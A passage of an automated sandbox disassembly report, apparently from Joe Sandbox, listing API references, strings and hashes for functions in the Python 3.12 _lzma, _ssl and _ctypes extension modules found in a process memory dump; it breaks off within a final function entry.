FORMAT_ALONE, xrefs: 00007FFE10252835
MF_HC4, xrefs: 00007FFE10252A1F
MF_HC3, xrefs: 00007FFE10252A08
FORMAT_RAW, xrefs: 00007FFE10252851
FILTER_LZMA1, xrefs: 00007FFE10252913
FILTER_SPARC, xrefs: 00007FFE102529D2
CHECK_UNKNOWN, xrefs: 00007FFE102528F5
_lzma.LZMAError, xrefs: 00007FFE10252B02
MF_BT3, xrefs: 00007FFE10252A58
CHECK_CRC32, xrefs: 00007FFE10252887
MF_BT4, xrefs: 00007FFE10252A73
MF_BT2, xrefs: 00007FFE10252A3D

Memory Dump Source

Source File: 00000001.00000002.2089791994.00007FFE10241000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FFE10240000, based on PE: true

Associated: 00000001.00000002.2089773823.00007FFE10240000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE10258000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089856736.00007FFE10264000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe10240000_file.jbxd

Similarity

API ID: Module_$Constant$FromType$LongModuleSpecType_$Err_ExceptionLong_ObjectStateTuple_With
String ID: CHECK_CRC32$CHECK_CRC64$CHECK_ID_MAX$CHECK_NONE$CHECK_SHA256$CHECK_UNKNOWN$Call to liblzma failed.$FILTER_ARM$FILTER_ARMTHUMB$FILTER_DELTA$FILTER_IA64$FILTER_LZMA1$FILTER_LZMA2$FILTER_POWERPC$FILTER_SPARC$FILTER_X86$FORMAT_ALONE$FORMAT_AUTO$FORMAT_RAW$FORMAT_XZ$MF_BT2$MF_BT3$MF_BT4$MF_HC3$MF_HC4$MODE_FAST$MODE_NORMAL$PRESET_DEFAULT$PRESET_EXTREME$_lzma.LZMAError
API String ID: 2322464913-730042774
Opcode ID: b091e49e01b098b25a876694f3ea7601ad3c204f15de4486665e150d791b2536
Instruction ID: 206244f410f52484c450995961d9663b2504f693037f9c3bc6d922c132d3d775
Opcode Fuzzy Hash: b091e49e01b098b25a876694f3ea7601ad3c204f15de4486665e150d791b2536
Instruction Fuzzy Hash: 1BA140A1B18E1242E7149F17A9402F52B65AF867A8F8040B0DF0D967B7FF9DE508C619

Function 00007FFE11EC21C0 Relevance: 64.9, APIs: 18, Strings: 19, Instructions: 124COMMON

Download Yara Rule

APIs

PyModule_GetState.PYTHON312 ref: 00007FFE11EC21D2
PyType_FromSpecWithBases.PYTHON312 ref: 00007FFE11EC21EC
PyModule_AddObjectRef.PYTHON312 ref: 00007FFE11EC220C
PyTuple_Pack.PYTHON312 ref: 00007FFE11EC222D
PyErr_NewExceptionWithDoc.PYTHON312 ref: 00007FFE11EC2253
PyModule_AddObjectRef.PYTHON312 ref: 00007FFE11EC226A
PyErr_NewExceptionWithDoc.PYTHON312 ref: 00007FFE11EC229C
PyModule_AddObjectRef.PYTHON312 ref: 00007FFE11EC22B3
PyErr_NewExceptionWithDoc.PYTHON312 ref: 00007FFE11EC22D6
PyModule_AddObjectRef.PYTHON312 ref: 00007FFE11EC22ED
PyErr_NewExceptionWithDoc.PYTHON312 ref: 00007FFE11EC2310
PyModule_AddObjectRef.PYTHON312 ref: 00007FFE11EC2327
PyErr_NewExceptionWithDoc.PYTHON312 ref: 00007FFE11EC2346
PyModule_AddObjectRef.PYTHON312 ref: 00007FFE11EC235D
PyErr_NewExceptionWithDoc.PYTHON312 ref: 00007FFE11EC237C
PyModule_AddObjectRef.PYTHON312 ref: 00007FFE11EC2393
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC3A9B
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC3ABD

Strings

ssl.SSLWantReadError, xrefs: 00007FFE11EC2309
ssl.SSLEOFError, xrefs: 00007FFE11EC2375
Non-blocking SSL socket needs to write more databefore the requested operation can be completed., xrefs: 00007FFE11EC22C5
SSLWantReadError, xrefs: 00007FFE11EC2316
SSLEOFError, xrefs: 00007FFE11EC2382
SSLSyscallError, xrefs: 00007FFE11EC234C
ssl.SSLSyscallError, xrefs: 00007FFE11EC233F
SSLWantWriteError, xrefs: 00007FFE11EC22DC
SSL/TLS connection terminated abruptly., xrefs: 00007FFE11EC236B
SSL/TLS session closed cleanly., xrefs: 00007FFE11EC228B
ssl.SSLZeroReturnError, xrefs: 00007FFE11EC2295
SSLZeroReturnError, xrefs: 00007FFE11EC22A2
ssl.SSLCertVerificationError, xrefs: 00007FFE11EC224C
A certificate could not be verified., xrefs: 00007FFE11EC2242
SSLCertVerificationError, xrefs: 00007FFE11EC2259
ssl.SSLWantWriteError, xrefs: 00007FFE11EC22CF
Non-blocking SSL socket needs to read more databefore the requested operation can be completed., xrefs: 00007FFE11EC22FF
System error when attempting SSL operation., xrefs: 00007FFE11EC2335
SSLError, xrefs: 00007FFE11EC2202

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Module_$ObjectWith$Err_Exception$Dealloc$BasesFromPackSpecStateTuple_Type_
String ID: A certificate could not be verified.$Non-blocking SSL socket needs to read more databefore the requested operation can be completed.$Non-blocking SSL socket needs to write more databefore the requested operation can be completed.$SSL/TLS connection terminated abruptly.$SSL/TLS session closed cleanly.$SSLCertVerificationError$SSLEOFError$SSLError$SSLSyscallError$SSLWantReadError$SSLWantWriteError$SSLZeroReturnError$System error when attempting SSL operation.$ssl.SSLCertVerificationError$ssl.SSLEOFError$ssl.SSLSyscallError$ssl.SSLWantReadError$ssl.SSLWantWriteError$ssl.SSLZeroReturnError
API String ID: 2091157252-1330971811
Opcode ID: 411483db4054dc33e524f39d660640a41efa878ed41251ade0944e393b998699
Instruction ID: 0d5bee3c98c4e8fa0ff71765039b3e9267d247c5526fcdf900f83f4861ad5742
Opcode Fuzzy Hash: 411483db4054dc33e524f39d660640a41efa878ed41251ade0944e393b998699
Instruction Fuzzy Hash: F5510862A09F5381EB109FA7EC443AB67A9FF45BA4B8450B6C90D536B4EE2EF145C340

Function 00007FFE11ECB5B0 Relevance: 63.3, APIs: 29, Strings: 7, Instructions: 251COMMON

Download Yara Rule

APIs

_Py_BuildValue_SizeT.PYTHON312(?,?,00000000,00000000,00000000,00007FFE11EC65D9), ref: 00007FFE11ECB61E
PyDict_GetItemWithError.PYTHON312(?,?,00000000,00000000,00000000,00007FFE11EC65D9), ref: 00007FFE11ECB637
_Py_Dealloc.PYTHON312(?,?,00000000,00000000,00000000,00007FFE11EC65D9), ref: 00007FFE11ECB64D
PyErr_Occurred.PYTHON312(?,?,00000000,00000000,00000000,00007FFE11EC65D9), ref: 00007FFE11ECB658
PyLong_FromLong.PYTHON312(?,?,00000000,00000000,00000000,00007FFE11EC65D9), ref: 00007FFE11ECB669
PyDict_GetItemWithError.PYTHON312(?,?,00000000,00000000,00000000,00007FFE11EC65D9), ref: 00007FFE11ECB682
_Py_Dealloc.PYTHON312(?,?,00000000,00000000,00000000,00007FFE11EC65D9), ref: 00007FFE11ECB698
PyErr_Occurred.PYTHON312(?,?,00000000,00000000,00000000,00007FFE11EC65D9), ref: 00007FFE11ECB6A3
ERR_reason_error_string.LIBCRYPTO-3(?,?,00000000,00000000,00000000,00007FFE11EC65D9), ref: 00007FFE11ECB6C2
SSL_get_verify_result.LIBSSL-3(?,?,00000000,00000000,00000000,00007FFE11EC65D9), ref: 00007FFE11ECB704
PyLong_FromLong.PYTHON312(?,?,00000000,00000000,00000000,00007FFE11EC65D9), ref: 00007FFE11ECB70E
X509_verify_cert_error_string.LIBCRYPTO-3(?,?,00000000,00000000,00000000,00007FFE11EC65D9), ref: 00007FFE11ECB72C
PyUnicode_FromString.PYTHON312(?,?,00000000,00000000,00000000,00007FFE11EC65D9), ref: 00007FFE11ECB73A
PyUnicode_FromFormat.PYTHON312(?,?,00000000,00000000,00000000,00007FFE11EC65D9), ref: 00007FFE11ECB768
PyUnicode_FromFormat.PYTHON312(?,?,00000000,00000000,00000000,00007FFE11EC65D9), ref: 00007FFE11ECB7A4
PyUnicode_FromFormat.PYTHON312(?,?,00000000,00000000,00000000,00007FFE11EC65D9), ref: 00007FFE11ECB7D1
PyUnicode_FromFormat.PYTHON312(?,?,00000000,00000000,00000000,00007FFE11EC65D9), ref: 00007FFE11ECB7F3
PyUnicode_FromFormat.PYTHON312(?,?,00000000,00000000,00000000,00007FFE11EC65D9), ref: 00007FFE11ECB80D
_Py_BuildValue_SizeT.PYTHON312(?,?,00000000,00000000,00000000,00007FFE11EC65D9), ref: 00007FFE11ECB843
PyObject_CallObject.PYTHON312(?,?,00000000,00000000,00000000,00007FFE11EC65D9), ref: 00007FFE11ECB860
_Py_Dealloc.PYTHON312(?,?,00000000,00000000,00000000,00007FFE11EC65D9), ref: 00007FFE11ECB877
PyObject_SetAttr.PYTHON312(?,?,00000000,00000000,00000000,00007FFE11EC65D9), ref: 00007FFE11ECB89E
PyObject_SetAttr.PYTHON312(?,?,00000000,00000000,00000000,00007FFE11EC65D9), ref: 00007FFE11ECB8BD
PyObject_SetAttr.PYTHON312(?,?,00000000,00000000,00000000,00007FFE11EC65D9), ref: 00007FFE11ECB8E7
PyObject_SetAttr.PYTHON312(?,?,00000000,00000000,00000000,00007FFE11EC65D9), ref: 00007FFE11ECB8FE
PyErr_SetObject.PYTHON312(?,?,00000000,00000000,00000000,00007FFE11EC65D9), ref: 00007FFE11ECB90E
_Py_Dealloc.PYTHON312(?,?,00000000,00000000,00000000,00007FFE11EC65D9), ref: 00007FFE11ECB922
_Py_Dealloc.PYTHON312(?,?,00000000,00000000,00000000,00007FFE11EC65D9), ref: 00007FFE11ECB93C
_Py_Dealloc.PYTHON312(?,?,00000000,00000000,00000000,00007FFE11EC65D9), ref: 00007FFE11ECB955

Strings

[%S] %s (_ssl.c:%d), xrefs: 00007FFE11ECB7E6
%s (_ssl.c:%d), xrefs: 00007FFE11ECB803
unknown error, xrefs: 00007FFE11ECB6D5
Hostname mismatch, certificate is not valid for '%S'., xrefs: 00007FFE11ECB75D
IP address mismatch, certificate is not valid for '%S'., xrefs: 00007FFE11ECB754
[%S: %S] %s: %S (_ssl.c:%d), xrefs: 00007FFE11ECB78B
[%S: %S] %s (_ssl.c:%d), xrefs: 00007FFE11ECB7BD

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: From$DeallocUnicode_$FormatObject_$Attr$Err_$BuildDict_ErrorItemLongLong_ObjectOccurredSizeValue_With$CallL_get_verify_resultR_reason_error_stringStringX509_verify_cert_error_string
String ID: %s (_ssl.c:%d)$Hostname mismatch, certificate is not valid for '%S'.$IP address mismatch, certificate is not valid for '%S'.$[%S: %S] %s (_ssl.c:%d)$[%S: %S] %s: %S (_ssl.c:%d)$[%S] %s (_ssl.c:%d)$unknown error
API String ID: 628883730-2914327905
Opcode ID: 0b7a20798d908464ea503a25f487752e06a876e86ff50e913074d28ce7c51e45
Instruction ID: d34985098545c097fb6e9de53dcce7995262854dfce359d546068580fc02a945
Opcode Fuzzy Hash: 0b7a20798d908464ea503a25f487752e06a876e86ff50e913074d28ce7c51e45
Instruction Fuzzy Hash: 97B12725A09E8285EF649F939D447BB63A9BF45BE0F8840B4DE4E077A4DE3DF404A700

Function 00007FFE13381CA0 Relevance: 56.3, APIs: 18, Strings: 14, Instructions: 266COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON312 ref: 00007FFE13381CE1
PySequence_Tuple.PYTHON312 ref: 00007FFE13381D04
_PyArg_ParseTuple_SizeT.PYTHON312 ref: 00007FFE13381D35
PySys_Audit.PYTHON312 ref: 00007FFE13381D6B
PyObject_GetAttrString.PYTHON312 ref: 00007FFE13381D84
PyLong_AsVoidPtr.PYTHON312 ref: 00007FFE13381DAD
PyErr_Occurred.PYTHON312 ref: 00007FFE13381DC5
_Py_Dealloc.PYTHON312 ref: 00007FFE13381EA7
_Py_Dealloc.PYTHON312 ref: 00007FFE13387146
PyErr_Format.PYTHON312 ref: 00007FFE133871C1
_PyArg_ParseTuple_SizeT.PYTHON312 ref: 00007FFE1338724A
PyErr_Format.PYTHON312 ref: 00007FFE133872A6
PyErr_SetString.PYTHON312 ref: 00007FFE133872FA
PyErr_SetString.PYTHON312 ref: 00007FFE13387344
_Py_Dealloc.PYTHON312 ref: 00007FFE13387359
_Py_Dealloc.PYTHON312 ref: 00007FFE13387375

Strings

i|OO, xrefs: 00007FFE1338723A
paramflag value %d not supported, xrefs: 00007FFE1338729C
the _handle attribute of the second argument must be an integer, xrefs: 00007FFE1338733A
abstract class, xrefs: 00007FFE133871C9
O|O, xrefs: 00007FFE13381CC9
ctypes.dlsym, xrefs: 00007FFE13381D60
paramflags must have the same length as argtypes, xrefs: 00007FFE13387203
paramflags must be a tuple or None, xrefs: 00007FFE133872E9
_handle, xrefs: 00007FFE13381D7D
function '%s' not found, xrefs: 00007FFE133871BA
O&O;illegal func_spec argument, xrefs: 00007FFE13381D2E
paramflags must be a sequence of (int [,string [,value]]) tuples, xrefs: 00007FFE133872E0
function ordinal %d not found, xrefs: 00007FFE1338716F
could not convert the _handle attribute to a pointer, xrefs: 00007FFE13387159

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Err_$Dealloc$Arg_ParseSizeStringTuple_$Format$AttrAuditLong_Object_OccurredSequence_Sys_TupleVoid
String ID: O&O;illegal func_spec argument$O|O$_handle$abstract class$could not convert the _handle attribute to a pointer$ctypes.dlsym$function '%s' not found$function ordinal %d not found$i|OO$paramflag value %d not supported$paramflags must be a sequence of (int [,string [,value]]) tuples$paramflags must be a tuple or None$paramflags must have the same length as argtypes$the _handle attribute of the second argument must be an integer
API String ID: 2812885975-1557499450
Opcode ID: 89e2e8d4bf580c8d86821c559bfcbc8098b24417a3846b4ce6b6047f5c8022cf
Instruction ID: 6ece7425633fdc1c5ead4d1f48918cee7d5af8f911daf63b842a9adac7f5a391
Opcode Fuzzy Hash: 89e2e8d4bf580c8d86821c559bfcbc8098b24417a3846b4ce6b6047f5c8022cf
Instruction Fuzzy Hash: 1DC11E31E09E02C9EB158F66D8441BC23A2BF64BA4F5442F5D92E67AB4DF3CE495C348

Function 00007FFE1338D504 Relevance: 51.0, APIs: 22, Strings: 7, Instructions: 241COMMON

Download Yara Rule

APIs

PyGILState_Ensure.PYTHON312 ref: 00007FFE1338D547
PyType_IsSubtype.PYTHON312 ref: 00007FFE1338D62C
memcpy.VCRUNTIME140 ref: 00007FFE1338D646
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE1338D6A5
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE1338D6B0
GetLastError.KERNEL32 ref: 00007FFE1338D6C2
SetLastError.KERNEL32 ref: 00007FFE1338D6CE
_Py_Dealloc.PYTHON312 ref: 00007FFE1338D6F8
PyErr_SetString.PYTHON312 ref: 00007FFE1338D718
PyObject_Vectorcall.PYTHON312 ref: 00007FFE1338D73C
_PyErr_WriteUnraisableMsg.PYTHON312 ref: 00007FFE1338D754
GetLastError.KERNEL32 ref: 00007FFE1338D764
SetLastError.KERNEL32 ref: 00007FFE1338D770
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE1338D77F
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE1338D78A

Part of subcall function 00007FFE1338D8B4: _PyThreadState_GetCurrent.PYTHON312(?,?,?,?,?,00007FFE1338D11B), ref: 00007FFE1338D8C1
Part of subcall function 00007FFE1338D8B4: _Py_CheckFunctionResult.PYTHON312 ref: 00007FFE1338D901

_Py_Dealloc.PYTHON312 ref: 00007FFE1338D7A8
_Py_Dealloc.PYTHON312 ref: 00007FFE1338D806
PyErr_WarnEx.PYTHON312 ref: 00007FFE1338D825
_PyErr_WriteUnraisableMsg.PYTHON312 ref: 00007FFE1338D83A
_Py_Dealloc.PYTHON312 ref: 00007FFE1338D84E
_Py_Dealloc.PYTHON312 ref: 00007FFE1338D86E
PyGILState_Release.PYTHON312 ref: 00007FFE1338D883

Strings

Parsing argument %zd, xrefs: 00007FFE1338D71E
on converting result of ctypes callback function, xrefs: 00007FFE1338D833
create argument %zd:, xrefs: 00007FFE1338D6D6
cannot build parameter, xrefs: 00007FFE1338D70E
memory leak in callback function., xrefs: 00007FFE1338D815
unexpected result of create argument %zd:, xrefs: 00007FFE1338D6FE
on calling ctypes callback function, xrefs: 00007FFE1338D74D

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Dealloc$Err_ErrorLast_errno$State_$UnraisableWrite$CheckCurrentEnsureFunctionObject_ReleaseResultStringSubtypeThreadType_VectorcallWarnmemcpy
String ID: Parsing argument %zd$cannot build parameter$create argument %zd:$memory leak in callback function.$on calling ctypes callback function$on converting result of ctypes callback function$unexpected result of create argument %zd:
API String ID: 354188352-1876801404
Opcode ID: f7f21513c06c562763791f3c4a5c92e5fb39d6d17ded92fe4e931172c4493cc8
Instruction ID: d4215016cecbfd132a4836550d993ee8a07807cbbb32ac120ca5c0ee8a8b6e99
Opcode Fuzzy Hash: f7f21513c06c562763791f3c4a5c92e5fb39d6d17ded92fe4e931172c4493cc8
Instruction Fuzzy Hash: AEB13E32A05E42C9EB149F27D85867D23A1FB64BA8F4446B5D92E67BB4DF3CE484C304

Function 00007FFE133856C1 Relevance: 49.1, APIs: 20, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

PyLong_FromLong.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE133856CD
PyModule_AddObjectRef.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE133856EC
PyLong_FromLong.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE13385701
PyModule_AddObjectRef.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE13385720
PyLong_FromLong.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE13385738
PyModule_AddObjectRef.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE13385757
PyLong_FromLong.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE1338576F
PyModule_AddObjectRef.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE1338578E
PyLong_FromLong.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE133857A6
PyModule_AddObjectRef.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE133857C5
PyLong_FromLong.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE133857DD
PyModule_AddObjectRef.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE133857FC
PyUnicode_FromString.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE13385816
PyModule_AddObjectRef.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE13385835
_Py_Dealloc.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE13389988
_Py_Dealloc.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE133899A8
_Py_Dealloc.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE133899C8
_Py_Dealloc.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE133899E8
_Py_Dealloc.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE13389A08
_Py_Dealloc.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE13389A28
_Py_Dealloc.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE13389B4C

Strings

FUNCFLAG_HRESULT, xrefs: 00007FFE133856E2
__version__, xrefs: 00007FFE1338582B
FUNCFLAG_USE_LASTERROR, xrefs: 00007FFE133857BB
FUNCFLAG_PYTHONAPI, xrefs: 00007FFE133857F2
1.1.0, xrefs: 00007FFE1338580F
FUNCFLAG_CDECL, xrefs: 00007FFE1338574D
FUNCFLAG_USE_ERRNO, xrefs: 00007FFE13385784
FUNCFLAG_STDCALL, xrefs: 00007FFE13385716

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: DeallocFromModule_Object$LongLong_$StringUnicode_
String ID: 1.1.0$FUNCFLAG_CDECL$FUNCFLAG_HRESULT$FUNCFLAG_PYTHONAPI$FUNCFLAG_STDCALL$FUNCFLAG_USE_ERRNO$FUNCFLAG_USE_LASTERROR$__version__
API String ID: 1177918438-3954669750
Opcode ID: af2b04f3bc5e925a1039c438ac2e981a62ba2a20ee44ff5251d9ad2e0f25182f
Instruction ID: e76ae57a75d1c989751a53d2ded8e6d2cfbbb27c4817e499a93077540b7ea039
Opcode Fuzzy Hash: af2b04f3bc5e925a1039c438ac2e981a62ba2a20ee44ff5251d9ad2e0f25182f
Instruction Fuzzy Hash: 77510D21E0DF43CEFB125F1794502BC22A59F65FA1F1442F9D92F75AB9EE2CA0849309

Function 00007FFE13381760 Relevance: 45.7, APIs: 18, Strings: 8, Instructions: 233stringCOMMON

Download Yara Rule

APIs

_PyObject_LookupAttr.PYTHON312 ref: 00007FFE133817B7
PyUnicode_AsUTF8AndSize.PYTHON312 ref: 00007FFE133817EF
strchr.VCRUNTIME140 ref: 00007FFE13381817
PyDict_Update.PYTHON312 ref: 00007FFE133818CF
_Py_Dealloc.PYTHON312 ref: 00007FFE133818F7
PyObject_SetAttrString.PYTHON312 ref: 00007FFE133819B1
PyObject_SetAttrString.PYTHON312 ref: 00007FFE133819C4
PyObject_SetAttrString.PYTHON312 ref: 00007FFE133819D7
PyObject_SetAttrString.PYTHON312 ref: 00007FFE133819EA
PyErr_Occurred.PYTHON312 ref: 00007FFE13381A1E
PyErr_Format.PYTHON312 ref: 00007FFE13386EC8
PyErr_Format.PYTHON312 ref: 00007FFE13386EE7

Part of subcall function 00007FFE133823D0: _PyThreadState_GetCurrent.PYTHON312(?,?,?,?,?,00007FFE13381F6C), ref: 00007FFE133823DD
Part of subcall function 00007FFE133823D0: _PyObject_MakeTpCall.PYTHON312 ref: 00007FFE1338241C

Part of subcall function 00007FFE13381AF4: PyMem_Malloc.PYTHON312 ref: 00007FFE13381B24

_Py_Dealloc.PYTHON312 ref: 00007FFE13386F00
_Py_Dealloc.PYTHON312 ref: 00007FFE13386F1E
PyErr_SetString.PYTHON312 ref: 00007FFE13386F85
_Py_Dealloc.PYTHON312 ref: 00007FFE13386FA3
_Py_Dealloc.PYTHON312 ref: 00007FFE13386FB7

Strings

class must define a '_type_' string attribute, xrefs: 00007FFE13386F7B
class must define a '_type_' attribute which must be a string of length 1, xrefs: 00007FFE13386EA4
class must define a '_type_' attribute which must bea single character string containing one of '%s'., xrefs: 00007FFE13386EBE
__ctype_be__, xrefs: 00007FFE133819A4, 00007FFE133819E0
__ctype_le__, xrefs: 00007FFE133819BA, 00007FFE133819CD
_type_ '%s' not supported, xrefs: 00007FFE13386EDA
class must define a '_type_' attribute, xrefs: 00007FFE13386E91
cbBhHiIlLdfuzZqQPXOv?g, xrefs: 00007FFE13381810, 00007FFE13386EB7

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Object_$AttrDeallocString$Err_$Format$CallCurrentDict_LookupMakeMallocMem_OccurredSizeState_ThreadUnicode_Updatestrchr
String ID: __ctype_be__$__ctype_le__$_type_ '%s' not supported$cbBhHiIlLdfuzZqQPXOv?g$class must define a '_type_' attribute$class must define a '_type_' attribute which must bea single character string containing one of '%s'.$class must define a '_type_' attribute which must be a string of length 1$class must define a '_type_' string attribute
API String ID: 1144576454-917751260
Opcode ID: 40b019ddde0568e564956c430925629285c778872d826ebdb9b501ff20a90915
Instruction ID: b7719c9848f9a23596c6610c77564ef072a879d2fb6513d5460159aa42923303
Opcode Fuzzy Hash: 40b019ddde0568e564956c430925629285c778872d826ebdb9b501ff20a90915
Instruction Fuzzy Hash: B6B14C31E09E42C9EB558F27D84027D23A1EB65BB4F0442B5DA6E66BB4DF3CE085D308

Function 00007FFE11EC95C8 Relevance: 44.0, APIs: 21, Strings: 4, Instructions: 239threadCOMMON

Download Yara Rule

APIs

PyWeakref_GetObject.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FFE11EC9596), ref: 00007FFE11EC9601
PyErr_SetString.PYTHON312(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FFE11EC9596), ref: 00007FFE11EC962E
